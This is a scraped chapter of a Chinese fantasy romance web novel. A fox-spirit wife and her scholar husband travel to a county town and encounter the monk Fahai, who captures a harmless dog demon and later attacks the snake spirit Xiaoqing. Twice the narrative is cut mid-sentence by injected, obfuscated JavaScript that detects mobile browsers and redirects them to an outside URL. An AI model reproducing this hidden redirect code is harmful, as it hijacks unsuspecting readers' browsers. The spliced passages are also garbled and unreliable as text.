昨天她和相公还在白崖村中住得好好的,今天就踏上了离开的路,这一去,也不知道什么时候还会再回来,又会不会回来,想到这里,小狐狸心中就有些酸酸的,就仿佛咬了一大口四月的青杏子。 哎,这便是分离的滋味儿么? 果然有些难受呢。 正伤感着,忽然小手被人握紧,她扭头看去,陈子均对她笑了一笑。 胡翘翘心中的酸涩忽然间散去,依偎进陈子均的怀中。 只要能和相公一直在一起,一直走下去,对她来说,就已经是最美好的了。 快中午时,牛车到了清平镇。 找了个镇上的小饭馆,陈子均让小二将牛车停好,等解决午饭后,便去找顾行天。 几天前他便叮嘱过顾行天,今天待在家中,所以当他轻敲了两下顾家的大门,门就被人打开了。 “公子,娘子,快请进。” “今天就不进来了。”陈子均摆摆手,笑着道,“我是来同你们父子俩道别的。” 父子俩早有心理准备,倒没多少讶异,但脸上多少流露出几分不舍,顾父扭头对顾行天道,“行天,别愣着,快去把给公子的东西拿出来。” “先别忙,”陈子均微微一笑,看了看身边的胡翘翘,“娘子,你和小青先回车上等着,我和顾行天单独说几句话。” “嗯。”胡翘翘乖巧地点头。 等顾父和胡翘翘都不在旁边,陈子均才拿出一个白玉小盒,交给顾行天。 “这里面有一颗凡寿丹,凡人服用后,可延寿五到十年,我留着无用,便赠给你好了。” “凡人”两字入耳,顾行天陡然愣住,似乎联想到了什么。 陈子均又抬起右手,手指忽然戳向他双眼之间。 顾行天下意识地闭上眼,下一瞬,他忽地感觉到脑中多出了一篇十分玄妙的功法。 紧接着,耳边响起了陈子均温和的声音。 “你虽没有灵窍,但七魄极为强盛,天生神力,所以最适合走上古的炼体之路,我已将功法传你,你可依照上面的内容,自己每日练习。” 事实上,三魂七魄本就息息相关,只要七魄足够强大,三魂也会随之增强,虽说速度比不上有灵窍专修命魂的修士,但也算是一条路。 顾行天闭着眼,一开始,他没弄清陈子均话中的含义,还有些茫然,等回过神后,大脑便开始轰鸣,茫然变成了震惊,又从震惊变成了激动。 他猛地睁眼,忽然发现,方才还站在面前的书生,此刻竟已杳如黄鹤! 只余清朗的声音,还在巷中回荡。 顾行天急奔出巷口,边跑边找,但依旧没能寻到陈子均的踪影。 许久后,他终于停下脚步,低头看着手中的白玉小盒,黝黑的面庞微微抽搐,眼睛也有些发红。 “公子……” * * 车轱辘转动的声音,在路上不断回荡。 车厢的下方有数十根鞣制好的兽皮条作为缓冲装置,再加上老牛步履稳当,所以人坐在里面几乎感觉不到颠簸,胡翘翘还放了自制的栀子香盒,整个车厢都是香喷喷的。 胡翘翘拿起一个村民送的石榴,将清甜红润的石榴籽儿一粒粒地细心剥出来,等凑齐一把后,伸手递到陈子均的面前,盈盈一笑,“相公,给你。” 陈子均握住她的手,吃掉石榴籽,顺便在她白嫩掌心中亲了一口,“够了,你剥给自己吃。” 胡翘翘嘻嘻一笑,自己剥着石榴,一粒一粒的吃了起来。 她边吃边问,“相公,我们什么时候能到省城啊?” 陈子均回,“牛车一天大概能走八十到一百里,省城离清平镇约有五百里路,最快也要五天多吧。” “这么久啊……”可惜她还不会飞,更没法带着相公一块儿飞,不然就快了。 接着,胡翘翘又想到一个新问题,“那这几晚我们睡在哪儿,车上吗?” 陈子均呵呵地笑了起来,“不用,路上会经过几个县城,还有和清平镇差不多的镇,在那些地方都可以吃饭睡觉。每隔几十里路还有驿站,也可以投宿,都不行的话,最近也不冷,睡在外面也是不错的。” 虽说驿站主要是为来往官员提供服务的地方,但平时也能为旅人提供住宿、补给,收取的费用则用于贴补驿站的各种开支。 胡翘翘微微撅起嘴巴,“相公在笑我没见识,尽说傻话。” 陈子均连忙搂住她,安慰道,“我怎么会笑话你。这世界上没有人一生下来便什么都懂,全都是一点一点学的,日后你走的路多了,见的东西也多了,自然就懂得多了。” 胡翘翘弯起了眼,像是一只受到主人爱抚的小狐狸一样,窝在他的怀里轻蹭着。 唔,可惜尾巴不能随便露出来,现在她舒服得好想摇尾巴呢。 “嘻嘻,翘翘知道相公不会笑我,是故意逗你的。” “原来娘子这么坏,我要惩罚你了。”陈子均脸一沉。 “啊?又要惩罚我呀?”胡翘翘吓了一跳,连忙将两只手都藏到背后,楚楚可怜地望着他,“别打手心行不行?” “可以,”陈子均看着她,一本正经地说,“你亲我一口。” 胡翘翘顿时红了脸,抬手捂着他的嘴,“别这么大声,小青还在外面呢。” 陈子均不做声了,只点了点自己的嘴唇。 胡翘翘略显害羞地眨了会儿眼,慢慢改变姿势,跪在他的面前。 她白天鹅一般的脖颈挺直,轻扬起绝美的脸蛋,神情有如朝圣一般虔诚与痴迷,接着,将那柔软红润的嘴唇慢慢地覆盖了上来。 细微的电流自嘴唇相触处开始产生,瞬间流遍全身,那是一种奇异而美妙的酥酥麻麻的感觉,让她心醉。 …… 过了片刻,胡翘翘才整理好零乱的衣衫与发丝,唯有脸上的红润,一时之间未能全然褪去,乖乖巧巧地继续依偎在陈子均的怀中,时不时眨着妩媚的眼睛看着他,目光迷离甜蜜。 这时,牛车已经上了官道。 官道就热闹得多了,沿路的行人车马络绎不绝,胡翘翘听到外面的声音,大感新鲜,征询过陈子均的意见后,便戴上面纱,掀开窗帘往外瞧。 除去步行的人,路上有不少不同种类的车。最常见的是牛车、驴车和骡车,马车则颇为稀少。 一来,马的价格比牛都要贵,骡子就更没法比了。二来,除了速度快,马车的舒适度还不如牛车,是以一般人出门都是以牛车或骡车为主,再次一些便是驴车。 路上还有商队经过,小的由三四辆车组成,大一点的则是十几辆车、数十辆车,一辆辆首尾相衔,好似一条长龙,十分气派。 纵观这一路的牛车,陈子均和胡翘翘的这辆外观算不得最豪华,却也崭新精致,颇为不错。 只不过,其它牛车拉车的牛都年轻力壮,浑身腱子肉。只有他们用的是一头瘦骨嶙峋的老牛,全身上下看着骨头比肉还多,虽说走起来还颇为稳当,倒不显吃力,但路人看在眼中,却都怀疑它会不会随时倒在地上起不来了。 这时,一辆牛车从后面上来,赶车的男人扭头瞥了小青一眼,见是个俊俏的小书童,忍不住略带轻浮地端详了她一番,然后啧了一声,音量不小地说,“小马赶老牛,老牛拉大车,有趣。” 换做胡翘翘,多半茫然不解其意,但青蛇在人间厮混了数百年,怎会听不懂,顿时勃然大怒,只想一鞭子将对方的嘴给抽烂。 刚要动手,却又担心给陈子均惹出麻烦,还是按捺下了怒火。 车厢中,却传出了陈子均淡淡的声音,“老牛?那就让他看看,到底是谁家的牛更老。” 他话刚说完,老牛就哞地叫了一声,鼻腔中喷出两条长长的气流,四根瘦骨嶙峋的腿奋力迈动,顿时犹如狂奔! 一下子,就超过那辆牛车,不仅将它甩到屁股后面,接着,老牛还边跑边用后腿使劲儿蹬地,蹬得灰尘漫天,扑了后面方才那赶车人一头一脸! 那人狼狈地抹着脸,还呸呸吐着口水,显然还有灰尘扑到了他的嘴里。 见状,小青大感 畅快,双手叉腰大声笑了起来。 胡翘翘则是既奇怪于老牛竟然跑得这么快,还似乎能听得懂相公的话,又觉得这一幕实在有趣,忍不住也跟着笑了起来。 老牛继续扬蹄狂奔,不停超过前方的一辆又一辆车,惹得路人纷纷侧目,惊讶着这头老牛看似孱弱,竟如此神异,莫非是传说中的汗血宝牛? 片刻后,见老牛开始微微喘气,陈子均说:“好了,慢慢走吧。” 老牛这才恢复了闲庭信步,甩着尾巴,徐徐前行。 陈子均看向胡翘翘,“娘子,要下棋吗?” 胡翘翘一怔,“围棋吗?我还不太懂呢,相公会闷的。” “不,我教你一种比围棋更简单,也更好玩儿的棋。” 胡翘翘来了兴致,“什么棋?” “斗兽棋。” “啊?” 陈子均拿过书箱,从里面取出白纸,做了个简易棋盘,又抓了一把围棋子,让胡翘翘在上面刻上“象”、“鼠”、“虎”等动物名称。 胡翘翘弹出指甲,一个个刻好。 陈子均给她讲了规则,问,“听得懂吗?” “嗯,听着很简单,而且也很有意思,”胡翘翘妩媚的眉眼笑得弯弯的,“我们下一盘试试吧。” 一盘棋开始。 片刻后,胡翘翘撒娇道,“相公……我能悔棋吗?我本来不是想要下这里的,只是手滑了!” 陈子均笑,“能。” 过了会儿,胡翘翘又立马道,“相公,你的狼不可以吃我的狗。” “为什么?” “因为……因为……”她转着眼珠子,“我的狗是猎狗,它吃狼还差不多,怎么会被狼吃呢?!”她越说越觉得有道理,点着小脑袋,得寸进尺,“对,我的狗可以吃狼!” 看着她的娇憨模样,陈子均忍不住笑了,“好吧,给你吃。” 再下了几步,胡翘翘突然道:“相公,你的狗为什么吃我的狼啊?!” 陈子均,“因为我的狗是猎狗,自然可以吃狼。” 胡翘翘连忙狡辩,“那也不行,我的狼是狼王!小猎狗吃不掉的!” 陈子均挑眉,“娘子喜欢我吗?” 闻言,胡翘翘立刻猛点头,岂止是喜欢啊,简直就是喜欢的不能再喜欢了。 陈子均道:“那就让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892965|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的狗吃你的狼。”说完,似笑非笑地看着胡翘翘。 胡翘翘:“……” 没办法,相公连这种话都说出来了,叫她如何拒绝得了…… 别说吃她的狼了,就是要吃她,就是把她整个人都吃了,她也心甘情愿呀! “好啦,给相公你吃,都给你吃。”胡翘翘越想越羞,脸蛋微红地低下头。 陈子均:“……” 他只是要吃棋而已,自家娘子又想到哪儿去了?! 一盘乱七八糟的斗兽棋下完,最终以胡翘翘险胜为结局。 胡翘翘眉开眼笑,扑进陈子均的怀中,用力亲了他一大口,“我赢啦,相公!” 陈子均本来也就是为了陪她玩儿,并不在意输赢,只是笑道,“还玩吗?” 胡翘翘连忙点头。 两人又玩了几盘,陈子均输多赢少,但心情很愉快。 再次结束一盘后,陈子均往窗外看了一眼,此时天也快黑了,黯淡的暮色里,不远处,一座小县城的轮廓忽隐忽现。 “天不早了,今天我们就在三水县过夜吧。” 这县城的附近有三条河流,所以又叫三水县。 胡翘翘收起棋子,卷起窗帘,好奇地往外看,虽只是个小县城,却具备高耸的城墙,看着比清平镇气派许多,城门处的进出人流也是络绎不绝,有挑着担子的他,有骑马的、有行人、有手推车,还有一两个商队…… 她惊讶地睁大双眼,“好多人啊。” 往常她见过人最多的时候,就是清平镇的市集,每逢赶集日,周边十来个村子的人都会来到清平镇,即便如此,人流量也远比不上眼前的一半。 “这里住了多少人呀?” 陈子均略一思考,“差不多有十万人吧。” 十、十万! 胡翘翘吸了口冷气,她就算一个一个的数,都要数上好久呢。 “清平镇呢?” “不到一万。” 胡翘翘心算片刻,“那就是说,这里的人是清平镇的十倍还要多!” “嗯。” 难怪这么多人…… 通过城门的检验后,小青赶着牛车进入了县城内部。 这儿街道比清平镇也要宽上一倍,全以青石铺成,平坦整洁。清平镇的路两旁除了商铺之外,还会有很多沿街摆摊的各村村民,但三水县不同,这里更多的是商铺,卖的商品各种各样,招牌也五颜六色,这时候天色已经逐渐暗了下来,不少商铺却并不关门,而是往门口挂起了灯笼,又点亮了招牌,继续吸引顾客。 牛车才走了一百米,胡翘翘就看见了两个点心店、三个杂货店、一家裁缝铺子、一家铁匠铺,两家酒肆……她不由惊叹,小嘴一路没合拢,感觉眼睛都不够用。 “相公,省城是不是比这里还要热闹?” “还要 热闹得多。” “啊……” “坐了这么久牛车,很闷了吧,”陈子均抬手揉了揉她的头发,“先去打尖,我们出来逛逛。” 几人找了家看起来不错的客栈,要了两间房,牛车则是停在客栈的后院中,老牛也安排了人照顾。 稍作整理后,陈子均带着胡翘翘出了门。 这里两人都是第一次来,所以逛得很随意,只是往繁华熙攘的位置走,这一路陈子均又吸引了不少大姑娘小媳妇的目光,好在两人都以习以为常,只当没看到。 县城果然比清平镇更热闹,吃的玩的都要丰富得多,胡翘翘买了不少以前没吃过的零嘴,准备回客栈后收进储物袋,方便路上慢慢享用。 走了一段路,前方有地方随风飘来一阵阵丝竹声,还有欢笑声。 胡翘翘竖起耳朵倾听片刻,很兴奋地说,“相公,前面好像有人在弹琴唱歌,是什么地方,我们去看看。” 陈子均的神念往前一探,已经知道前方是什么去处,咳了一声,“娘子,我有点累了,还是回去休息吧。” 对相公的关心战胜了好奇,胡翘翘乖巧点头,“好。” 陈子均松了口气,带着她往回走。 经过某条街时,忽然见到一个精壮僧人站在一家小饭馆的的门口,单手竖掌于前,念了一声佛号,沉声道,“贫僧来化缘,愿施主慷慨布施。” “真麻烦,走远点,别影响我生意。” 老板有些不耐烦地扔过来两个白面馒头,结果一个扔得偏了,掉在地上,滚了几下,恰好滚到了陈子均的脚边。 陈子均停下脚步,弯腰,捡起了馒头。 这时,僧人走了过来,他身穿皂色葛布单衫,外披红色袈裟,手中持一根红漆禅杖,看着年岁不大,却眉目凛凛,精光慑人,不怒而威。 他站立着,合十垂首,“多谢施主。”似乎在等着陈子均将馒头递给他。 陈子均却没有那么做,只是说,“大师,这馒头脏了,不能吃了。” 胡翘翘也说,“我们买了很多好吃的,不如,我帮你换成桂花糕吧?” “无妨,菩提本非树,明镜亦非台,本来无一物,何处惹尘埃。只要心中无尘无埃,这馒头上的少许尘土就不打紧,剥掉皮即可。”僧人说完,抬起头,看了陈子均和胡翘翘各一眼,忽然有些惊疑不定。 他皱起眉,眉间若隐若现一颗金色圆珠,佛光隐现,紧接着,他手中禅杖顿地一点,其上各环震颤,发出能震慑妖魔的清亮之音,同时注视着两人。 陈子均不慌不忙地看着他,胡翘翘只觉得这禅杖叮叮当当,有些吵闹,皱起了眉。 见两人没有异样,僧人的表情放松下来,只是那放松中,似乎还有一丝警惕未曾尽退。 “两位施主,请将馒头还给我,这是我的晚饭,多谢。” “真不用桂花糕吗?” “不用。” 陈子均便笑了笑,将馒头递了过去。 僧人接在手里,再次合十致谢,方才走到一户人家的门外不远处,也不在意路上的灰尘,就将僧袍一撩,直接大刺刺地坐下,放下盂钵,再细心地剥去馒头被弄脏的外皮,才啃了起来。 明明只是一个再普通不过的白面馒头,甚至还掉在地上弄脏了,他捧在手中的模样却尽显虔诚,吃起来也没有任何嫌弃,每一口咬下,都仔细咀嚼许久,才面露满足之色的咽下去,仿佛他正在吃的不是淡而无味的馒头,而是极其罕见的山珍海味、绝世美食。 第95章 贫僧法海 “真是怪人,”胡翘翘皱皱小鼻子,“我说给他换成桂花糕都不要,非要吃脏馒头。” 陈子均道:“金刚经中记载,佛祖只吃自己化缘得来的食物,而且每次最多只化六家,若是六家之后还没有得到足够的食物,不能再接着化。所以后世的许多僧人都会效仿。” “原来是这样……”胡翘翘又问,“那他刚才念的那个‘菩提’啊、“尘埃”啊,又是什么意思啊?” “在佛门中,菩提树被视为神圣之树,信仰之树,寓为“大彻大悟”。” “这是佛门的一首偈语诗,关于这首诗,还有个故事,很久之前,佛门有个叫弘忍的高僧让自己的弟子每人写一首诗,阐述他们对佛法的理解。于是,有个叫神秀的弟子写了这样一首:身是菩提树,心如明镜台。时时勤拂拭,莫使有尘埃。他把人的身体比作具有佛性的菩提树,把心灵比作一尘不染的明镜台,然后发下了每时每刻不忘擦拭的宏愿。” 陈子均轻声道,“然而弘忍禅师看完,却皱了皱眉头,这时,另一弟子惠能吟诵了一首石破天惊的偈语诗:菩提本无树,明镜亦非台,本来无一物,何处惹尘埃,说明一切有为法皆如梦幻泡影,不要妄想执着,才能明心见性,自证菩提。后来惠能的成就也胜过了神秀,被称为禅宗六祖之一。” 胡翘翘点点头。 “我懂啦。” 陈子均注视了僧人片刻,收回目光,“我们走吧。” 他正要牵着胡翘翘离去,忽然,有个男人走到僧人旁边的那户人家门口,伸手去推门。 僧人立即将吃到一半的馒头塞进怀中,起身走到那男人的面前,“施主请稍候!” 那人停下手,奇怪:“大师有何指教?” 僧人的目光望定他,“这里是施主的家?” “没错。” “施主身缠妖气,家中必有妖孽作祟!” 那人顿时身子一震,脸色起了变化,呵斥道:“什么妖气妖孽的,我家中一直好好的,我看你才是哪里来的妖僧,胡说八道!” “贫憎乃镇江金山寺法海,传世佛子,云游人间,替天行道!”僧人眼神凌厉,字字铿锵,袈裟无风自动,额中圆珠绽放佛光,仿若神佛下凡,“我在人间已经数十年,捉住的妖怪数不胜数,有无妖气,我只需一眼便能看出。” “神经,懒得理你!” 法海不以为意,“施主请先开门,贫僧替你指出,那妖怪藏在你家中何处。” “莫名其妙,”男人怒气冲冲,“我偏不开门,又怎么样?你这满嘴胡言乱语的和尚,快些滚……” 法海面现不耐,忽地一顿禅杖,一阵狂风刮来,大门竟然被吹开。 男人大惊。 法海一手拎着禅杖,一手托着盂钵,大踏步地走了进去。 “你做什么!” “捉妖!” “不许胡来!” 法海站定,凌厉的目光自院中一一扫过。 院中,一个妇人正在收取晾晒的衣服,不远处有一个正在玩摇马的小女孩儿,她脚边趴着一条大黄狗,正懒洋洋地盯着不远处的一只蚱蜢,偶尔抬起前爪,替孩子晃一下摇马。 妇人扭头见到法海,吓了一跳,“你这和尚怎么进来的?” 法海并未回答,视线却落在了那条黄狗身上,一声佛号后,厉声道,“妖孽,见得我来,还敢装模作样!” 黄狗抬头看见法海,忽然全身颤抖,眼中全是恐惧之色。 法海踏上一步,禅杖冒着金光,迎头击下,神威凛凛,黄狗疼不可抑,叫了一声,已经负伤。 它还不死心,身上冒出妖气,变得巨大起来,既想要上树,又想要遁地,却几次都被禅杖打倒。 大黄狗终于绝望,跪俯在地,鼻子压在前爪上,卑微谦恭地求饶,“大师、大师,饶了我吧,我从没害过任何人……” 黄狗开口说话,周围的人全都吓了一跳。 只有那男人此刻反应过来,一步冲上去,将黄狗护在身后,愤怒地瞪着法海。 “给我滚出去,不许伤我家人!” “你家人?” 法海只觉得荒谬到好笑,唇角勾起,“你是否有眼无珠,它是狗妖,你当做家人?” 男人回头看了黄狗一眼,又扭头瞪着法海。 “没错!” “愚蠢!”法海不耐,僧袍的袖子一挥,那男人便跌出了数米,他举起盂钵,将钵口对准大黄狗。 那盂钵顿时精光四射,笼罩住黄狗。 黄狗发出痛苦的呻吟,手足痉挛,不住抖动,同时趴在地上,苦苦哀求。 “数十年前,我被一只虎妖咬伤,逃到这里后伤重倒地,那时他尚还是个孩子,将我当做一只普通小狗捡了回去,替我治伤,给我食物,我感激他的恩情,便留在了他家中,陪伴他一同长大,替他看家护院,看他娶妻生子……他早已知道我是妖怪,可从未对我有任何畏惧排斥,我也从没有做过半件害人之事……” 说到后面,它砰砰磕头。 “大师,都说上天有好生之德,你可怜可怜我,放过我一次吧。凡人这一生短暂,等我陪他走到生命尽头,就会自己 离开,回归山林。” 法海的脸上没有丝毫怜悯之心,“凡人同妖怪久居,会被妖气伤身!” 黄狗继续磕头,“我特意去修炼了敛气术,能收敛妖气,对凡人的伤害微弱之极!盼你成全!” “那也不行!” “为何?!不是都说我佛慈悲么?!为何不能容我?!” “人是人,妖是妖!”法海站在那里,额头佛珠绽放,如金刚怒目,“人妖殊途,自古天地有定,难道还为你一只小小狗妖便破例!我游历天下,替天行道,便是我的职责!正因我佛大慈大悲,遇到你们这些妖魔,才需大破大立!” “师傅——” “不用废话!南无阿弥陀佛!南无阿弥陀佛!” 他做手印,念诵佛号,催动盂钵,精光愈发刺目,将黄狗笼罩。 黄狗发出一声凄厉惨叫,竟身体缩小,被盂钵给生生收了进去。 法海垂目看着盂钵中被缩小的狗妖,平静地道,“好了,我送你去镇魔塔,好好修炼,若潜心悔改,远离凡人,过个千百年,将来还有机会重见天日!” “阿黄,阿黄!”男人大声嚎哭,又扑到法海足边,跪在地上,扯着他僧袍的衣角,涕泪交加,“求求你,将阿黄还给我!” “唉,无知凡人!” 法海的身周似乎有一层无形屏障,直接将他弹开,看也没看他一眼,大步走出门口,同陈子均和胡翘翘擦身而过。 长街辽阔,法海的身影逐渐消失,只留下男人跪地痛哭的声音在不停回荡。 陈子均牵着胡翘翘的手,沉默了会儿,看向她。 “走吧。” 胡翘翘静静地跟着陈子均,往客栈走去。 走出一段路后,她似是终于忍不住了,蹙着眉,有些自责,“相公,刚才我很想帮那个狗妖说几句话,可是、可是我又没办法鼓起勇气……怕那个和尚连我一块儿抓走,唉,我真没用……” 陈子均捏着她柔软的小手,轻声道,“能力不足的时候,保护好你自己是第一要务。等你有了足够大的本事了,再去帮别人也来得及。何况那和尚也没说要杀了狗妖,只是将它关进什么镇魔塔里面,也不一定是坏事。” 胡翘翘的心结总算被这一番话解开了,唇角轻轻弯起,“嗯。” …… 次日,晨曦微透。 陈子均和胡翘翘坐在桌旁,小青坐的则是另一张桌,一人要了一碗鲜肉馄饨。 这家馄饨摊是客栈小二介绍的,说是全三水县滋味最好,三人一清早来时,桌子便已经坐满了大半。 只等了一忽儿,三碗馄饨便做好了,薄薄的面皮,里头包的是剁得筋道又细腻的鲜肉馅,猪骨头熬的汤底,除了姜汁与盐,没有任何多余的调料,却有着无法形容的鲜香,出锅时再洒上一把新鲜的葱花,顿时香气扑鼻。 “别急着吃,刚煮好,还烫着呢。”陈子均拿起勺子,盛了个馄饨,放在唇边慢慢吹了会儿,感觉温度合适了,方才递给胡翘翘,笑着说,“现在应该不烫了,吃吧。” 胡翘翘接过勺子,轻轻咬了一口馄饨,满满的清淡和鲜美,还有……满满的甜蜜。 “嗯,不烫啦。” 陈子均又给她吹了几个,这时候,其余的馄饨也不烫了,她表示可以自己吃,他才吃了起来。 小青则是已经开始唏哩呼噜地吃第二碗了。 这馄饨六文一碗,陈子均吃了两碗,胡翘翘一碗,小青也是两碗。 吃完后,陈子均摸出三十文钱放在桌上。 “走吧。” 没多久,车轱辘声响起,牛车离开三水县。 此刻天才刚亮不久,路上的人不多,老牛也走得相当悠闲。 起得太早,下了两盘斗兽棋后,胡翘翘便开始犯困,在那里摇头晃脑,像是小鸡啄米。 无奈下,陈子均给她铺好褥子,让她躺下补觉。 没多久,胡翘翘便睡熟了。 老牛有灵性,不用小青动手,自己便能往前走。 于是,青蛇便坐在车源上,靠着车柱,仰望天空发呆。 天空湛蓝如洗,白云丝丝缕缕,清早的太阳光不算酷热,晒在身上很暖,加上方才吃了两大碗热乎乎的馄饨,此刻她非常舒服,懒洋洋的,像是刚蜕完皮般的全身舒爽。 她想起自己当年在峨眉山时,经常如现在一般,吃饱后便躺在草地上晒太阳晒一天,什么也不做,何等悠闲自在。 后来遇到白素贞,两条蛇结拜为姐妹,白蛇想要寻找当年的采药小童报恩,于是,她陪着白蛇来到人世间。 初到人间,她真的觉得很有意思,这也新鲜,那也有趣,各种红尘男女,烟火爱欲,一条蛇何曾体验过这些,真是欲罢不能,慢慢凡心渐生,纷纷扰扰纠缠不清,玩乐多有意思呀,修炼都三天打鱼两天晒网,至于清闲度日虚耗时光,就更加难以忍受。 但在俗世渐久,她又开始厌倦。 这些红尘俗事,固然快乐,但之后的空虚感,却又无穷无尽,不也是一种虚耗么? 只是为了白蛇,她才没有提出要回峨眉山,又或许不是峨眉山,任何一座荒山都可以,树木青青,她埋首隐居 于其中,孤身一蛇,唯有宝剑如影随形,伴她度过无尽的孤凉岁月。 只是,真有那么一天的话,她又必定不会想念这俗世么? 那也不一定。 在人间活了几百年,她深知,凡人多是一种很贱的生物,总是既想要鱼,也想要熊掌。想得牙痒痒,想得心戚戚。而只得到一个时,便永远会觉得另一个更好。两个都得到了,那就都弃若敝屣,去寻找第三种快乐了。 她在人间这么久,似乎也感染上了凡人的这些坏毛病…… 现在想这些也没用啦,就算她再怎么厌倦,也至少还得在这人世间待上百年,毕竟,她现在可是人家的婢女。 倒是姐姐,她应该比自己更恋眷这红尘,却又被压在了镇魔塔下。 命运真的无眼么?那它为何这么爱捉弄人。 想留下的,不能留。 想抽身的,不能抽…… 青蛇正胡思乱想着,忽然一道身影进入了她的余光。 那是个精壮的年轻僧人,一手握着红漆禅杖,一手托着金色盂钵,自牛车后大步行来。 他走的也不甚快,步子似乎迈得也不甚大,但每一步,却都能迈出丈许远的距离,一路行来,风姿庄严,袍袖飘飘,好似神佛下凡。 青蛇猛地一愣:怎么是他! 下一瞬,她忽然见到那僧人侧首朝她看了一眼,眸中精光电也似地扫过来,她顿时几乎要炸起蛇鳞,但转念一想,对方未必认得出自己,于是又冷静下来,只是垂下头,不给对方视线进一步接触的机会。 只是握住缰绳的手指,用力攥紧了几分。 这时,老牛忽然停住。 小青抬起头,见到了拦在前方的法海。 她壮起胆子,“你这和尚,拦住我的车干什么?!” 法海眯起眼,其内射出精光,“施主有些面熟,像是贫僧的一位故人。” “什么面生面熟,故人新人的!”小青举起鞭子,佯做凶狠,“我们急着赶路,快点让开!” 法海看看四周的行人,抛出金钵,做手印,口中急念佛号: “南无阿弥陀佛!” 突然天色变暗,道中卷起暴风,四周飞沙走石,行人吓了一跳,纷纷前往路边躲避。 这时,法海才看着小青,叱道:“孽畜!还在装模作样,上次我因顾忌损毁高僧舍利,没能及时收了你们姐妹,没想到今天在这里遇见,算你不走运!” 小青心中一惊,原来对方已经认出自己。 法海手举金钵,威风凛凛,怒目向小青一指。 “还不束手就擒!” “做梦,你想收我就试试!”小青一张口,长剑已然在手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892966|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “冥顽不化。”法海一声冷笑,托起金钵,开始诵念佛号,“南无阿弥陀佛……” 车厢内,胡翘翘迷迷糊糊地睁开眼,“小青在和谁说话啊?好吵哦。” 佛光笼罩,小青的脑袋开始剧烈头疼,身子也似乎隐隐要缩小。 她现在修为也才恢复到四百年左右,比当初还不如,当初她和姐姐两人联手都不是这和尚的敌手,后来姐姐寄出那颗她无意中得到的高僧舍利子,以毁掉舍利子当做威胁,和尚投鼠忌器,才暂时退去。 现在她一个人面对法海,更感压力倍增。 忍住头疼,小青恨意冒涌,长剑电般刺去,“秃贼,我和你拼了!” 要不是这个叫法海的和尚,在许仙面前揭穿了姐姐是妖怪的真相,又让许仙拿雄黄酒去试探姐姐,姐姐也不会现出原形吓死许仙,又去青山宗盗灵芝……也许这个时候,她和姐姐还好好地生活在钱塘县吧。 “小小蛇妖,区区几百年的修为,还想和贫僧拼了,自不量力。” 法海笑了。 一抬手,铛的一声,红漆禅杖架住长剑,好似铁枷牢牢锁住,小青竟无法拔出。 法海继续念诵佛号,小青头疼愈发剧烈,扔掉长剑,蜷缩在地,几乎要显出蛇形。 突然,一颗东西从车厢内飞出,朝法海的眉心打去。 它快如闪电,有慑人力量,法海不敢冒险造次,只能侧身闪避,佛号也被中断。 那东西落在地上,竟是一颗棋子,上面还歪七扭八地刻了个“鼠”字。 法海愕然,抬头望去,只见车厢门被开启,走出了一个谪仙般的俊美书生,面带微笑地看着他。 “大师佛法高深,何苦为难我的小书童。” 法海认出了陈子均,面上有些震惊,“竟然是你——” 昨日他竟看走了眼。 法海忍不住再端视了陈子均一刻,依旧瞧不出对方有什么异样,似乎只是个凡人。 等等,这不可能。 这样的话,只意味着一件事——对方实力甚至能胜过他,他才会探不出对方的深浅。 那么,对方究竟是不是人? 法海心中一凛,不过依旧如磐石一般,硬邦邦地挺立着,未曾退却半步。 “贫僧乃镇江金山寺法海,传世佛子,替天行道,收妖除魔乃天经地义,谁来阻拦都没用!” 胡翘翘睁开迷离的眸子,爬起身。 怎么是昨日那个和尚? 她 揉揉耳朵,倾听法海与陈子均的交谈。 “传世佛子……”陈子均笑了一笑,“看来,大师必然精通佛法了。” “我佛之法何等博大精深,贫僧不敢妄言精通,”法海口中虽如此说,语气却有些傲然,“不过这数十年来,侥幸未曾遇到能强过贫僧佛法造诣之人。” “既然如此,在下于佛法有几处不明,还请大师为我解惑。” 法海冷笑,听这书生的口气,莫非是想在佛法上战胜他,动摇他的佛心么? 他心如磐石,坚定向佛,怎会惧! “好,施主请问。” “佛法曾云,“众生平等”,这世上妖有好有坏,人也有好有坏,为何大师只捉妖,对于那些恶人却不闻不问?” “凡人作恶,自有官府律法。妖魔鬼怪,才归我等修行之人管束。” “佛法又云,“我佛慈悲”,昨日我见那狗妖未曾作恶,为何大师也要收了它?” “我佛慈悲,是对这天下众生尽皆慈悲,一视平等。但世上所有,物归其类,人是人,妖是妖,不可高攀,若我对这妖慈悲了,便是害了人!所以,贫僧只是做应做之事!” “大师既言佛祖眼中众生平等,为何又说人是人,妖是妖,不可高攀?难道妖不算众生之一?” “……”法海滞了滞,才道,“众生平等”乃是法身平等,但业力不同,“报身”是不平等的,是以,妖不如人!” “即便妖不如人,我亦常闻,高僧们都“扫地恐伤蝼蚁命,爱惜飞蛾纱罩灯”,难道一个善妖之命,在大师眼中,连蝼蚁飞蛾都不如?” 法海无言以对,眉头跳动,“好个书生,巧舌如簧,只是想让我放过这条青蛇罢了!” “大师别急,我还有数个疑惑,请大师再替我解答。”陈子均笑了笑,继续。 “……”法海冷笑一声,“好,我倒要听听,你还能问出什么!” “第一个问题,若天不容妖,为何又要有妖的存在?让它们一辈子浑浑噩噩地做那披毛戴角,湿生卵化之辈岂不好,为何给予它们开启灵智变为妖怪的机会?” “……” 